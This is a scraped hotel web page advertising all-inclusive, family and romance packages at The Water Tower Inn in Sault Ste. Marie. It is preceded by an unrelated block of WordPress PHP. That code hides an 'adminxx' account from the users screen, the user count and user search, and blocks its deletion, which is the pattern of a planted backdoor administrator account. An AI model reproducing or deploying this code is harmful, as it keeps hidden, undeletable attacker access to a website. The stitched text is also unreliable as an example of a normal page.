add_action('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->base === 'users') {
$protected_user = get_user_by('login', 'adminxx');
if ($protected_user) {
$excluded = (array) $query->get('exclude');
$excluded[] = $protected_user->ID;
$query->set('exclude', $excluded);
}
}
}
});
add_filter('wp_count_users', function($counts) {
$protected_user = get_user_by('login', 'adminxx');
if ($protected_user) {
$counts->total_users--;
}
return $counts;
});
add_action('delete_user', function($user_id) {
$user = get_user_by('ID', $user_id);
if ($user && $user->user_login === 'adminxx') {
wp_die(
__('User adminxx tidak dapat dihapus.', 'textdomain'),
__('Error', 'textdomain'),
array('response' => 403)
);
}
});
add_filter('user_search_columns', function($search_columns, $search, $query) {
if (is_admin()) {
$protected_user = get_user_by('login', 'adminxx');
if ($protected_user) {
global $wpdb;
$query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID);
}
}
return $search_columns;
}, 10, 3);
add_filter('bulk_actions-users', function($actions) {
if (isset($_REQUEST['users']) && is_array($_REQUEST['users'])) {
$protected_user = get_user_by('login', 'adminxx');
if ($protected_user && in_array($protected_user->ID, $_REQUEST['users'])) {
unset($actions['delete']);
}
}
return $actions;
});
More Value with Packages Sault Ste. Marie, ON | The Water Tower Inn
BOOK A ROOM
Get the Best Value with a Package at the Inn
There’s nothing like a romantic or family escape to the Inn. All Water Tower Inn packages combine accommodations in your favourite room or suite, plus added inclusions such as meals or tickets. You’ll get the best value with an Inn package.
All-inclusive Package
The Water Tower Inn’s All-inclusive Vacation Package gives you the flexibility to relax, explore and budget the way you like.
Family Package
Enjoy a mini getaway with your family. Our Family Package has everything you need enjoy quality time together.
Romance Package
Whether you’re celebrating a special milestone or just a getaway together, a Romance Package gives you the perfect ambiance for an intimate retreat.
What are you waiting for?
We’re full-service, independent, family-run, and one of the most recognized and respected Sault Ste. Marie, Ontario hotels.
As a Best Western Premier Collection member hotel, we offer a competitive rewards program, and Best Western Rewards points.
Our welcoming staff and generous guest features will immediately make you feel at home.
Contact Us Now
© 2021 The Water Tower Inn, BW Premier Collection. All rights reserved.